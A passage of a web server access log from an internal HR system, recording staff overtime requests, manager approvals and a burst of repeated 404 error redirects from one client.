/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132643%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132643&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:03:24 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132643%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132643&target=iframe HTTP/1.1" 200 3251 192.168.40.34 - - [01/Dec/2025:09:03:29 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:29 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132644%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132644&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132644%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132644&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:30 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:30 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132645%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132645&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132645%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132645&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.70 - - [01/Dec/2025:09:03:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=132643 HTTP/1.1" 200 5330 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132643%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132643&target=iframe" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:03:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=132643 HTTP/1.1" 200 5330 192.168.40.34 - - [01/Dec/2025:09:03:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:36 +0800] "GET 